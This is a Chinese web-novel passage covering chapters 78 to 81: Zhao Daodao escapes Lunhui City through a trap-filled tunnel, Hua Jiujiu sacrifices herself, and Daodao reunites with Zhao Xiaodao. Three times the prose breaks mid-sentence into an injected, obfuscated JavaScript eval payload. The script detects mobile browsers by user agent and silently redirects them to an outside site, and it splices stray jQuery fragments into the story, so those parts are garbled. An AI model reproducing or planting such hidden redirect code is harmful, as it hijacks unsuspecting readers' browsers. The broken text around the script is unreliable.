花九九坐起身,打着个哈欠道:“你怎么自己过来了,这么晚来,是突然想我了吗?” 赵刀刀摇了摇头。 花九九抱膝靠坐在床上,歪着头问,“那是为什么?” 赵刀刀沉默片刻,道:“城外……没有出口吧。” 花九九裹了裹被子,“原来你还没找到就打算放弃了吗?” 赵刀刀走到屏风旁的架子处,拿了一件厚衣递给花九九,“你说给我三个月时间找到出口,这些天里,我一直往外跑,去到更远处,在城外找了很久。”她停了停,“早在约定之前,我就已经开始找了,但是到现在也没有找着。” 花九九接过衣服,眨了眨眼,“辛苦了……你打算认输了?” 赵刀刀摇摇头,继续道,“最近,我一直有个想法想要验证,和你笃定我会留在这里一样,我忽然也觉得在外面找不到出口了。” 花九九披上衣服的动作停下来,眯起眼睛,“你这是什么意思?” 赵刀刀拉直了唇线,缓缓道,“我早该想到的,以轮回城的奇异,出口为什么非得在城外,而不在城里?” 花九九看着她思索道:“这么说,你现在是想在城里找了?” “是。” “那你来这里……” 花九九茫然无知的表情无法阻止赵刀刀探寻的决心。 赵刀刀想起了在花府探寻的那几夜,又想到城里有人提过的一位圣女。 圣女的消息对轮回城的人来说或许不算秘密,对她来说却珍贵无比,只是鲜少有人会在她面前提起。 只有一次,偶然间她听木匠说起了这件事。沈老头提起了那位圣女,说她也是花家人,是花九九的姐姐…… 赵刀刀低头看着花九九。轮回花,轮回城,从未见过的圣女,花九九房间里的动静,找不到的出口——一切都要在今夜揭开面纱。 她说:“你屋里常常有说话声,我曾以为是你自言自语,但有一日我凝神细听分明就是两个声音。可我守着看你,天亮之后,屋里出来的却只你一人……每次屋里都只有一人出来。九九,你的那位姐姐到底藏在轮回城何处,我为何从没见过?” 花九九慢慢系好衣服站起身来,沉声道:“这些与你无关!” “与我无关?若她与出口有关呢?” 花九九悲切道:“赵刀刀,你就这么想出去?”她作势要去抓赵刀刀的衣服。 不想,赵刀刀突然从暗中抽出一把木刀。 刀搭在花九九的脖子上,和她的皮肤只有半寸之遥。 赵刀刀冷下声音,“放下手。我不知道你想拿什么,但九九,我并不想伤你。愿赌服输,如果我找对了出口,阻止我的也不该是你。” “……” 花九九瞪大眼睛,惊诧于她的敏锐,把戏还未施展已经被看穿,她垂下手弹了弹指尖,喃喃道,“究竟是为什么?” 连她自己也不知道自己此刻到底想问什么,又想得到什么答案。 花九九第一次发觉轮回城的夜色居然如此漆黑,仿佛被浓稠的雾笼罩,令人无力呼吸,也无法看清。 赵刀刀握刀的手没有一丝颤抖,稳稳地架在花九九颈边,“我说过了,外面有人在等我。” “哪怕你出去活不了几天?” 赵刀刀叹了口气,缓缓道:“九九,无论怎样,我总要试一试的,如果出口就在这里,你拦不住我。” “既然你已经下定决心,是,出口就在这间屋里,但——”花九九的语气渐渐激动,声音却突然停下了。 花九九已被一掌劈晕。 赵刀刀得到答案的同时就下了决断,她扶住花九九,将人放在旁边的榻上,开始摸索床边的花瓶摆设。 有几次在屋外,赵刀刀记得卧房的床榻附近有个东西会发出响声,或许是什么机关。 周围试了一圈没有动静,她一把掀起床幔,被褥,目光一定,终于在床上看到一个小巧的机扩——床板上有一处葫芦状的凹陷。 赵刀刀想起了花九九送她的那个葫芦,此时正戴在身上,不过……她摸葫芦的手一顿,那葫芦比起眼前的机关大了太多。 赵刀刀正愁着,忽然发现花九九床头有根红线吊着什么东西。 她伸手去勾,顺着线勾上来一个拇指大小的玉葫芦。 赵刀刀看了看花九九,如果这小姑娘醒着,想必要气到快炸了。 她没有犹豫伸手摘下,将葫芦放进机关。 刚放进去,床下传来厚中的几声闷响,赵刀刀向后跳开,盯着床板目不转睛。 不过片刻,原来床的位置已经挪开,露出底下幽深的口子。 赵刀刀提起脚刚欲下去,忽然想到什么,到塌边扶起花九九,扛着她一同走了下去。 巨石垒成的台阶不知通向何处,赵刀刀在心里数着台阶,刚数到九,头上的入口突然咔的一声活动起来,她向上看去,本就黯淡的光线渐渐减少,应该是床在慢慢挪回原位。 砰的一声,入口彻底合住了。 赵刀刀转回头,看着伸手不见五指的黑暗叹了口气。 她正打算摸索着往下走,突听远处噗的一声,在黑暗中又是惊出一身冷汗。 赵刀刀将花九九换到另一边,右手握紧了木刀,随着声音由远及近,她握刀的手轻轻松开。 原来是地道的蜡烛齐齐亮起。 然而赵刀刀刚松一口气,抬头一看却头皮发麻。 烛火驱散了黑暗,映照出两边的鲜红的墙壁,墙上画满了红色的小花,秘密麻麻,叫人看一眼就心神不宁。 她收回视线,让自己不想也不看,继续往下走。 楼梯重复仿佛没有尽头,赵刀刀忍不住开始怀疑自己是不是上了花九九的当。然而听着花九九的呼吸声,她又觉得自己带人下来绝对是正确的选择。 楼梯曲折着看不到前路,好在没有她想象的那么漫长,很快她就看到了平坦的地方。 赵刀刀背着花九九往前走,这一路单调至极,这里比太白山庄的洞穴还要狭小一些,两旁的壁画令她丝毫不敢斜视,也令每一刻都显得格外漫长。 听到身后气声变化,赵刀刀唇边笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699660|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意一闪而过,她装作脱力松手,扛着的人就要从肩上滑落。 果然,她听见了“啊”的一声。 花九九已经醒来了。 花九九以为自己要掉下去,惊呼出声,然而下一秒赵刀刀就使力拖住了她,止住趋势,她的呼声戛然而止。 赵刀刀蹲下身子放开花九九。 花九九拍了她一下,气鼓鼓道:“太难受了,你怎么敢打晕我?你什么时候知道我醒了?!” “你醒的时候。”赵刀刀忍住笑意。 “你!”花九九本想怪赵刀刀,却突然意识到这是哪里,收了声。“你带着我下来做什么?” 赵刀刀本来也不知道带着花九九下来有什么用,只是此时望着远处隐隐的岔道,她找到了用处,“想让你帮忙带路。” “你不怕我把你带到错路上去?” 赵刀刀让了一步,伸手做出请的姿态,“你走前面。” 花九九瞪了她一眼,认命般地走到了前面。 “行吧,那你跟紧了。” “好。” 走了半晌,墙上的画越来越少,岔路越来越多,石头缝隙里开始出现一些野花,是一种红到发紫的小花……赵刀刀认出来了,原来墙上画的是轮回花。 正看着花,赵刀刀突然汗毛竖立,几乎是本能一般撤后一步,侧身躲开从顶上掉落的东西。 下一刻,地上原来站着的位置插了三片锐利的刀片,还落着她被削掉的一缕头发。 赵刀刀看向花九九疑惑道,“这些东西……”为什么会出现在这里? 语音刚落,她耳朵一动,听到旁边的墙里有声音远远传来,“什么声音?” 花九九摇头道:“不知道……这段路我也只走过一次。” 她袖子下的手指用力到发白,“我也不知道后面有什么,可能有人,或者动物?”花九九脸色惨白,僵硬地笑了下,“这些东西应该不会攻击我,可你……还要往前走吗?” 赵刀刀握紧木刀,“走。” 继续走了一段,出乎预料,竟然什么也没有发生。 这里安静的只有脚步声,然而越是安静,赵刀刀越有种心里发毛的感觉。 这感觉越来越盛,她忽然意识到什么,转头往来时的路看去,身后的烛火不知何时熄灭了,只有她们附近和前方的还燃烧着。 石缝间红色的花却仿佛在暗中隐隐发亮,像是躲在暗处偷看的红色眼睛。 “生。”花九九忽然说。 “什么?” “我们走过的那段路,是生路。” “为什么?” 花九九摇了摇头,“不知道,或许因为你还活着,所以是‘生’,也或许是因为那些花活着……”花九九扫过周围的花,回头看了一眼,“轮回花能开在轮回城的每个角落,只是……” 赵刀刀望着前方渐渐没有花变得干净的石壁,问,“前面好像没有花了,我们在出城?” “嗯。”花九九停在原地,眼神带着一丝悲伤,“赵刀刀……离开轮回城,你可能会死……这样你还要走吗?” “……走吧。” 花九九张了张嘴,最后没有说话。 像是认命一般,她闭了闭眼继续带路。 过了很久,赵刀刀以为她再也不会出声的时候,花九九忽然道,“其实你一直在轮回城也没什么不好。在这里,至少你身上的毒可以抑制。” 79. 洞天 “毒?”花九九的话像一声惊雷,炸响在赵刀刀的耳畔。 她能接受自己找不到出口,也能接受自己在寻找出口的路上倒下,却从来没想过自己身上会带着毒,一时怔愣,直直地看着花九九。 赵刀刀努力平复心情,的确,哪怕她想起了很多事,对自己如何来到轮回城还是没有任何印象,或许是在轮回城发生了什么,又或者……早在风月城她就中了招? 她茫然道,“我从什么时候中毒的?” 花九九道,“来到这里之前。” “什么毒?” “轮回花毒。” “轮回花?!刚才那么多……”赵刀刀惊诧之余,忽然有一丝债多不压身的感觉,如果一定会中毒,更早中毒似乎比走到这里才中毒更让人容易接受。 她握着刀长长地叹了口气,“中毒会怎么样?” “一开始毫无感觉,渐渐它会让你无法控制自己,最后悄无声息地带走你的命。” “无法控制?” 花九九点头,“中毒的人难以察觉这点区别,或许只有最亲密熟悉的人才会发现吧。所以轮回花毒很难被发现,发现时大多已难以挽回。” “那些花儿竟然那么危险……”赵刀刀低声道。 “轮回花不危险。”花九九看着她解释道,“轮回花毒虽然以花为名,花本身却没有毒,毒的是保存轮回花的法子。想要让花在城外活得久些,需要调配一种药将花保存在其中。在碰到轮回花前,这种药没有什么特别之处,碰到轮回花后,却会产生一种剧毒,散发于空中,嗅到便会中招。” 她讽刺地笑了一声,“这法子是城外人想出来的。” 赵刀刀想起了在风月城的最后几日,脑海中忽然闪过一个想法——莫非她使不出刀法的原因不是悲伤,而是中毒?“我是怎么来到这里的……” “你差点死了。”花九九的语气很平静,说话的速度却越来越快,似乎同样的事已经发生过很多回,她早已习惯了作此解释,“想进来这里的人很多,但只有在生死边缘才能靠近入口。有人愿意舍弃一切进城,以为这里很好,也有些是装傻想进来偷花,以为轮回花是什么宝贝。” 花九九冷笑了一声,“大概这毒很重要吧。哪怕进轮回城就要忘掉一切,也有人不要命地进来,就为了多拿几朵花。我真不知道外面的人哪儿来这么大胆子……或许是因为在外面一枝花值万两黄金?” 赵刀刀沉默地向前走去。 忽然间,她想起了倒下前听到的那道声音,虽然只有隐约印象,但那不是花九九的声音,“救我的人……是谁?” 花九九在后面跟着,没有答话。 赵刀刀已经有了一个猜想,“你姐姐……”她刚想问,忽然听到脚步声从不远处传来,“慢着!” 一个赤裸上身,身上画满了红色枝蔓的蒙着眼睛的人从旁边路口显现身影,他走得很慢,举起长剑的速度也很慢,手中的剑直直朝赵刀刀挥来。 “这是什么?”说话间,赵刀刀轻松避过。 花九九好像失去了所有趣味,淡淡道,“这些和你一样都是中了毒的人……或许也有点不一样,他们是中了毒的死人。” “他们已经死了?可是……”为什么他们还像常人一般行动着。 赵刀刀想起了太白山庄那个不知是死是活的怪人,他的动作比这些药人快很多,莫非也是中了毒? “他们中了毒,本来是死了,但轮回城正缺人守城,就拿他们做了药人。” 花九九跟在赵刀刀身后,本打算继续走着,却突然脚步一顿,超过赵刀刀跑了起来。 “等等!”赵刀刀跟上去,“为什么跑?” “我倒是可以不跑,但你不行,如果你想出城,还得跑得更快些。” 花九九竟真的愿意送她到出口,赵刀刀心中有些复杂。 不待细想,她又听到了身后追赶的脚步声,一开始很慢的的药人在渐渐加快速度。 药人不知痛,只一味攻击,寻常的招式伤人,对他们却毫无用处,赵刀刀边跑边劈开挥到眼前的手掌。 花九九头也不回喊道,“别沾上他们的血!” 赵刀刀将刀上的血甩到一边,避开残肢和伤口,木刀虽打磨得锋利光滑,但抵不住药人太多,他们的血有些粘稠,虽然已经尽力避过,还是渐渐染满了刀锋,怎么甩也甩不掉。 赵刀刀丢下木刀,踹开攻到脸侧的药人,继续往前。 “这边!” 人越来越多,赵刀刀边跑边打,听着声音追去。 赵刀刀赤手空拳,想起花九九说不能沾到药人血液,只能冲着药人身上关节进攻,让他们停下速度,为自己争取时间。 药人速度不一,有的还慢悠悠走着,有的已经开始快速挥掌,赵刀刀初时还算游刃有余,但她心知决不能在此缠斗,便只将身前击退,然后去追花九九。 药人的速度不及她,只是数量太多,一停下就会缠住脚步,赵刀刀头顶落下几滴汗,此刻无暇顾及花九九带的路是否正缺,她只能跟着,心中不敢多想,只咬咬牙拼尽全力。 赵刀刀已经看见花九九在前方向她挥手,花九九身前有一道石门正在缓缓关上。 她耳畔声音太多,没去听花九九说了什么,只顾着小心身前两侧,没注意身后有一药人的手即将触到她的脖颈。 离石门只有两丈时危险将至——赵刀刀头皮发紧,忽然感到脖后汗毛竖立,见要避不过,花九九从门那边突然拉了她一把,站在她身后挡住来势汹汹的那掌。 赵刀刀向后看去,那落下的手掌竟霎时停在空中,然后硬生生换了方向,没有伤到花九九。 花九九的衣服还完好无缺,只是黑发微微凌乱,赵刀刀却像是刚从枪林箭雨里走了一遭。 石门砰的一声关上,那只手被斩断在门内,掉落地上。 赵刀刀还没来的及思考,花九九已经走到前面,“这道门挡不了他们太久,前面还有药人机关,我们得赶快些。” 赵刀刀跟上她,“嗯。” 还好药人刚从机关放出来时行动并不敏捷,之后遇到的没太纠缠就能够甩开。不知花九九做了什么,过那道门之后,一路上响起轰隆隆的响声,是一道一道门关上的声音,大部分药人被堵在门外了。只是越往后石门撑住的时间越来越少,赵刀刀心中隐隐担忧。 大约过了九道石门。 花九九道,“还有一道门。你先在这等等。”她走到两边岔道口分别瞧了瞧,突然道,“是这!” 赵刀刀松了一口气,随即又皱了皱眉,脚步声?赵刀刀拉着花九九往那边跑。 后面的路简直如迷宫一般。 两人一前一后。 赵刀刀问:“怎么走?” “左。” “中。”花九九渐渐指挥起来。 “左。” …… 就这样边说边跑又一段路,赵刀刀突然看见远处石门关到仅容一人通过的宽度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707474|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她运气向前,将自己撑在两扇厚厚的门中间,用手抵着等花九九过来,只是……这石门不是冰的吗,怎么越来越热? 花九九快到这边,正扶着墙喘气。 “九九!”赵刀刀刚要唤她过来,却看到她手里拿着什么,“你要做什么?!” “我是轮回城的人,我不能出去,我也不想出去,赵刀刀……你出去之后,还会记得我吗?”花九九忽然问她。 赵刀刀没回答,她的骨头隐隐发疼,“花九九!”她努力换出一只手,用身体抵住门,冲花九九张开五指,“过来!” 石门关上的势头不快,赵刀刀却不敢在此时离开两扇门中间,她能感觉到合上的力量正越来越大。 “我听说来轮回城的每个人都会忘了过去,可你还记得。等你出了轮回城——”花九九咳了两下,笑道,“你会记得我吗?” “你说什么胡话?” 花九九走近赵刀刀,笑着举了举一片帕子,赵刀刀认出是她那件黑衣上的布料。 花九九伸出手,却没有跟赵刀刀一起离开的想法,只是轻轻把一条细链挂在赵刀刀手上。 她又像往常一样狡黠地笑了。 赵刀刀看得刺目。 花九九道,“我只能送你到这了。继续往前就是出口,后面只有一条路。” “九九……” “你要永远记得我,永远,永远都不要忘了我。”花九九握紧了那片布料,“我没喜欢过什么东西,这链子我带了好久,你拿着它,记得不要忘了我。” 花九九将一旁的灯打翻地上,火舌沿着一条细细的线燃向来路,又有沿着那条线的反向冲向石门。 “我不会……”赵刀刀感觉自己撑不住了,她不得不把身子从两扇石门中间挪走一点。 “往前跑,别回头,不会再有人跟上你了。”花九九趁还有一段距离,推了赵刀刀一把,转身往来时的方向跑去。 “不!” 赵刀刀听到轰隆的声音从远处传来,突然意识到什么瞪了大眼睛。“你做了什么?!” “不!!!” 赵刀刀向前踉跄,她强行运力转身,挥手却抓了个空,只剩手里一条细细的手链在晃,没有反应的工夫,石门已经紧闭。 火焰很快蹿到和人一般高,挡住了石门中间细窄的缝隙。 花九九在门后不知生死,赵刀刀只能看见明晃晃的火焰照亮了洞穴,有如白昼。 轰响掩盖了脚步声,伴随着热流烘烤,赵刀刀有些头昏脑涨。她咬了咬牙,不再纠结,转身施展功法,向前飞掠。 她此生从未走过这么长的路。 火药味仿佛一直没有散去,她的眼前一阵阵发黑,只能凭本能奔跑。 正当赵刀刀以为自己也要倒在这古怪危险的洞穴时,身后传来了巨大的爆炸声,震得她心脏巨痛。 瞬间,一道白光闪过,赵刀刀像洞里的石头一样被炎热的气流轰了出去。 她失去了意识。 是夜。 漫天星光洒落头顶。 赵刀刀咳了咳,吐出一口血,揉着头慢慢坐起。 她呆坐片刻,一时不知身在何处,忽然张开有些僵硬的手掌,又紧紧握住。 赵刀刀脱力地躺倒在草地上,一滴泪从脸颊滑过,滚落发间。 清风吹过,圆月高挂,她不知道这算不算一种重见天日。 大概是不算的。 因为此刻,天还黑着。 80. 重逢 人生当真是寂寞如雪。 风月城的寒气久久不散,最近终于暖和起来,街上的人陆陆续续换上了薄袄。 一阵风吹过,空中飘雪,行人紧了紧领口。 不过片刻,风停了雪也停了。原来只是前几日的积雪从树上吹落。 人来人往的老城边上,一家铺子在冬日里悄悄开了业。 这地方原先是间衣服铺子,转手几次都以关门告终,就当人们以为店家要做不下去关门走人的时候,不知从哪天起,铺子居然慢慢开了起来,每天连续着,很少断开日子。 直到今天铺子还没有关门,往来的风月城人心里有些刮目相看,三个月的时间不算长,但已经超过了前面几次持续的时间,算新来的厉害。 铺子不亮堂,现在不卖衣服了,比原来暗很多,里头摆的尽是些稀奇古怪的玩意儿和兵器。 店主人不是风月城生人,是从外面来的,平日里,总是摆好货物就揣着手站在门口,看着来来往往的行人。 他不吆喝,一贯沉默寡言,只有客人来的时候会主动上前攀谈,介绍兵器。 这会儿,他刚擦拭完摆出去的几把刀。 赵小刀嘴唇苍白,脸颊处泛着一点烤了火的红晕,露出的一截手腕骨节锐利地凸起,熟练地收回门口桌子上的兵器架。 这张桌子上原本摆着三把刀,临近夜晚,将要关店,刀已经被提前收进去了。 他穿着一身黑衣,腰间绑着一根翠绿的竹笛,瘦削如鬼的身材终于被养出了一点皮肉,此刻正在做最后的清扫,稍后就会上山。 风月城周遭已经找遍,该问的人都已问过,现在就只剩下等。 赵小刀洗净双手,静立片刻擦了手,走到外面锁上店门。即使做了所有努力,还是只有这一条路可走——等。 从几月前再次回到风月城,他一直待到了现在。 风月城街上的人他已经看得眼熟,偶尔会有些陌生的外乡人,但都不是他要等的人。 时间在走,他身上的时间却仿佛停滞,又回到了在黑刀中等待的寂寞。 只有身上无言的隐痛不断提醒着他必须照料好自己。 想到这个赵小刀有些头疼,顾倾城开了最苦最怪的药,叮嘱他每天都得吃,几贴药下去,他觉得自己此生再也不会得罪医生了。 赵小刀难过着点了两笼包子,吃完拎了二两酒上山。 买快走到屋子的时候他才想起顾倾城说过不能饮酒,还算不错的脸色瞬间苦了下去,赵小刀叹了口气……算了,带回去放着吧。 山上寒气重,树枝最近终于慢悠悠地抽条。 赵小刀盯着窗外一抹绿将酒放好,正打算去熬药,心中却突地颤了一下。 他皱了皱眉,不对。 他抬头四顾,刚进门时心中就感到一点别扭,只是没找到源头。 屋中一切摆放如常,没有任何动过的痕迹,为什么—— 赵小刀突然退出屋外,绕着房子走了一圈。 院子里掺着一股奇怪的味道,很淡,但赵小刀对气味敏感,闻出酒味药味草木味之外,还有什么……赵小刀皱着眉,绕着院子慢慢地找,走到一处他忽然停下,皱紧眉头——血腥味! 谁来过这里?这是谁的血? 地上没有一点血迹,只有味道还留在空气中。 谁的人受了伤还会来这里?又或者是他放在地里的伤了人? 赵小刀心中冒出几个名字,又一一排除,这人太谨慎,不像新手,现在还看不出明显意图。 赵小刀又找了一圈,还是没有半点踪迹,只好回去煎药。 第二天。 赵小刀起来时还在想到底是谁来过,走在街上神思恍惚也浑然不觉,在窄小的小路上沉思向前,没注意突然迎面撞上一人。 “对不住。”赵小刀后退几步道。“你——” 撞他那人带着斗笠,斗笠边垂下的纱将脸完全遮住了。看身形是个女人,但是自始至终她都没有说话,最后点了下头就离开了。 怪人。赵小刀心想。 人很快走远了。赵小刀在铺子里擦刀时却突然察觉出不对来——那人身上,有血腥味! 他放下东西回头去找,街上却没有半点那人的影子。 赵小刀问沿路店家可曾见过一个戴着黑纱斗笠的人,有人摇头,有人指了指方向,他一路找去,每每觉得自己快要跟上那人的脚步,却会在附近失去线索。 赵小刀摇了摇头,自嘲自己居然被一个莫名其妙的人耍的团团转。线索暂时断了,他不再浪费时间,回到铺子打起精神继续收拾,将刀摆到架上。 “店家,店家!”一道稚嫩的童声在门外响起。 赵小刀定睛一看,是个小男孩,他正努力把脖子抬到最高,好奇地看着满目的兵器。 赵小刀见他一直没走,走过去问,“怎么了?” 男孩想了想,一字一句问,“你这刀多少钱一把?” “多少钱?”赵小刀笑了笑。“你还小,还没到可以用它的年纪。” “我有钱!”他掏出了一小块银子。 赵小刀怀疑又是哪家小孩没看好过来捣乱,送客道,“有钱?我这刀可不便宜,小子,赶紧回家去吧。” “能有多贵?你有生意还不做吗?”小孩撇了撇嘴,没有离开,四处翻找着自己的口袋,妄图从中找到一张藏起来的银票。 赵小刀问,“哦?你买刀给谁用?”这小孩的话应是谁教给他的? “我自……给我爹用,他喜欢用刀的,我爹可会使刀了!”他的话越说声音越大。 赵小刀不为所动,继续问,“你爹是谁?前辈若是在风月城使得一把好刀,我应当听说过的。” “我……你到底卖不卖?你不卖我可走了!” “不卖。” “你——” 赵小刀见这孩子行动踌躇不定,嘴上含糊不清,一会说买去给自己爹爹用,一会又是拿回去送给哥哥,冷声问道:“谁派你来的?他给你什么好处?” 孩子焦急之下,居然哇的一声大哭起来,用手擦着眼睛回头看了一眼。 赵小刀顺着方向看去,那里半点人影也没有。 周围已经有人看过来,赵小刀听着尖锐的哭声皱了皱眉,到里头拿出一块糖递给孩子,轻轻拍了拍他的背,“不哭了,我不会伤你。我只是想知道谁派你来的?你告诉我,我不告诉别人。” 男孩接过糖囫囵吞下,边哭边道:“一个,一个没见过的人。” “他长什么样子?” “我不知道,他带着斗笠,看不清。” 赵小刀皱了皱眉,“他告诉你什么了?” “他让我问问这家店的刀怎么卖,说我帮他问了,就给我一块金子,先用银子做定金……”男孩呜呜咽咽,终于说清。 “他没说别的?只是要买刀?” “嗯。” “是风月城口音吗?” “不,不是……”男孩打着嗝,哭声已渐渐止住。 赵小刀点点头,摸摸他的头,道,“我知道了,谢谢,你早点回家去吧,别乱跑了。” “嗯,嗯……”男孩又抬头看了看赵小刀。 赵小刀见他久久不离去,冷哼一声,挑眉道,“你莫非还想从我这拿到那块金子?” “没,没……”男孩见他半点不肯说刀的价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你既然是她的朋友,那等你见到她一定能认出她的。哪怕你不认识她,也总能很轻易从人群中分辨出她来。” …… 一时,无数话要说,却堵在喉间。他艰难唤出一个名字:“刀刀……你是刀刀?” 风停了,眼前的人背对着他没有回答。 “刀刀!” 赵小刀想绕到前面看她,被她抬起一只手臂拦住。 那人没有摘下斗笠,冷声道:“你认错人了。” 说着提起脚就要离开。 “不!”赵小刀连忙冲过去拦下她。“姑娘的斗笠……” 女子没停下,绕开继续走。 赵小刀跟在她的身侧,张了张口,却不再唤她,就是一直跟着。 “你要跟到什么时候?” 赵小刀傻笑道:“刀刀,我终于找到你了。” 女子慢慢道:“我说过,你认错人了,我也并不认识你。” “在下赵小刀,请问姑娘芳名?” “……”斗笠女子不再回他。 后面一路都只有一人在说话。 赵小刀闻到身边人身上血腥味更浓,只是她穿着一身黑衣,看不到伤口。 他忍了又忍,还是拽住了她的手腕。出乎预料,他竟然拉动了她。 “你受伤了。” 赵小刀欲将她带进一家医馆。他做好了失败的准备,却再一次成功,此刻,带着斗笠的人已经安静地坐下。 她一动不动,安静如雕塑。 赵小刀深吸一口气,颤抖着替她摘下斗笠,等斗笠摘下才发现,原来不是她不愿说话,而是她已经困极累极,刚才坐下那时,就已经昏睡过去。 81. 身份 赵刀刀醒来的时候还很茫然。 她低头看着自己,伤口被包扎过,腿上的酸痛还没有散去。 这间屋子太暖和了,暖意让伤口有些刺痒,和纯粹的疼痛不同,这种痒让人恨不得一一剜掉那些伤处。 赵刀刀闻到了药味儿。 她抬头,一个男人端着一碗药走了过来,将药放在桌子上,自然地伸手过来要扶她。 赵刀刀皱了下眉,避开他的手。 那人的神色瞬间有些受伤。 轻声唤道:“刀刀。” 赵刀刀抬起眼睛看着他,这人身上有股奇怪的气息,仿佛她曾在某处见过,但她的印象里,从未见过这样一张脸。 “你……”她清了清嗓子,声音还是有些嘶哑,“你是谁?” 男人不知为何有些激动,靠近了一步。 赵刀刀盯着他,一枚黑色的铜钱从袖间滑落在手心,她用两指夹住。 男人又后退回原来的位置。 带着怀念和感伤,温顺地看着她,“我是赵小刀。” 赵刀刀神色一变,更加谨慎地盯着眼前的人,“赵小刀……” 赵小刀点点头,“刀刀,你还记得吗?你有一把黑刀。” 赵刀刀自然不会忘了,但她的刀已经断了毁了,消失在世间,此刻眼前这个人…… 她想起赵小刀提起过自己会变成人这件事。 她又问了一遍,“你是谁?” 赵小刀不厌其烦地一次次回应,“我是赵小刀。” “尚青山剑冢,你遇到了一把黑刀,你们一起走了很远,来到这里。” 他轻轻地诉说,有些甜蜜,有些苦涩。 赵小刀渐渐靠近了赵刀刀,她没有阻拦,只是静静看着他,表情无喜无悲。 赵小刀将她的头靠在自己的胸膛上,忍不住轻轻抱住她。 他的手没有抱实,只是虚拢着,像抱着一团空气,一个梦。他不敢用力也不敢放手,怕靠的太近梦会从怀中溜走,又怕太过远离梦会消散无形。 赵刀刀感觉到了,他的手臂在颤抖。 这个怀抱的气息并不让人讨厌。 赵刀刀卸了几分力,将头靠在他的身上。 那一丝的沉重让赵小刀瞬间收紧了拥抱。 他紧紧地抱着她,虔诚的吻上她的头发,眼里满是悲伤,“你有一把很喜欢的刀,你忘了吗?” 赵刀刀没有回答,她抬头,只看见赵小刀的喉结和下巴,直白道,“你在颤抖。” 赵小刀的声音发紧发虚,“是啊,我在害怕。” “你在怕什么?” “我怕你不要自己的刀了。” 赵刀刀咳了两声,压下喉中翻涌的血腥味,“我不会丢下自己的武器。但是我的那把刀……”她想起那天的打斗,“我的刀断了。” “是,是我的错。” 赵小刀开始一个劲儿地自责起来,抱着她的手臂颤抖的更加剧烈,仿佛用尽全身力气维持一个拥抱。 赵刀刀愣着神发呆,屋中炉火还在燃烧,她似乎没有在听他说什么。 但是这股悲伤渐渐感染了她,她抬手轻轻拍了拍他的背,“没什么的。” 身上的双臂收得更紧,那拥紧的力量让人疼痛,赵小刀似乎要将她揉进骨肉里。 太过用力让赵小刀有些站立不稳,赵刀刀坐在床上,稳稳地撑住压来的重量。 他的话语在赵刀刀耳边响起,“刀刀,和你一起,莫非只是我的一厢情愿。”他的声音低沉沙哑,带着一丝不确定,问,“你……不想见我吗?” 赵刀刀回过神,挣了一下。 她明显感到赵小刀僵硬了一瞬,用了很大力气克制着,绷紧肌肉后退一步,慢慢松开双手。 赵刀刀站起来,直视他湿润的双眼,又问了一遍。“你是谁?” 赵小刀深吸了一口气,紧张地看着她。 “我谁也打不过,我不是赵逐。如果你还想要那把刀,它确实已经断了,我也不是能被你握在手里的那把黑刀。” 赵刀刀伸手压在他的胸膛上,他心跳如雷,不用紧贴她都能听到急促的震颤。 她张开手臂,第一次站着抱住了他。 赵小刀激动不已,声音的震颤好像顺着耳朵传到了心里。 “我只是赵小刀。”他说。“刀刀,我终于找到你了。” “我不是一把刀了,我是一个男人。” 或许是她在雪原上走了太久,此时屋内炉火又太旺,赵刀刀都没发现,自己竟然流出一滴泪来。她心中期冀,却又痛苦非凡,甜蜜渗进过往锐利的回忆里,令人绞痛。 唯有一件事令人开心,世事变化无常,她的黑刀竟然也会哭了。 炉火还在燃烧。 山中木屋第一次迎来了客人,又或者是它原本的主人。 “刀刀,这些日子你去了哪里?”赵小刀有些后悔自己没有把屋子布置的更漂亮些,此时和赵刀刀待在一起,甜蜜中竟有些许窘迫。“唐雪他们也在找你,但是他们怎么找都没有你的消息。” “我……”赵刀刀离开轮回城已有几日,此时话到嘴边,却有些难以启齿。 想及自己当初不告而别,唐雪他们为了找她一定心急如焚,心道:自己不正是为了这些朋友才离开的,又有什么不可说?“我去了轮回城。” “轮回城?”赵小刀从没听说过这地方,“那是哪里……你去了武洲之外的地方?” 赵刀刀想了想,将手里拿着的棍子伸进火堆,一挑一挑翻着木炭,缓缓道:“小刀……你还记不记得赵逐最后去了哪儿?” “赵逐?”赵小刀回忆起来,“我记得他最后去的是一座鬼城,我看不清底是什么样子。” 赵小刀只记得那地方古怪的感觉,赵逐为了救赵如意去到那座鬼城,但进城后他仿佛后悔万分……刀刀为何突然提到赵逐?他神色一变,“你是说……” 赵刀刀道,“赵逐最后带着赵如意去的地方就是轮回城。” “刀刀,”赵小刀忍不住又和她坐的靠近一些,“这到底是怎么回事?” “其实那里不是鬼城,只是和武洲其他地方有很多不同,或许是因为很少有人去过,才被传成了一座鬼城。” 看刀刀的神情对那地方并不讨厌,赵小刀问:“刀刀,你是怎么知道赵逐去的地方就是轮回城?你离开之后……遇到他了?” 赵刀刀摇摇头, 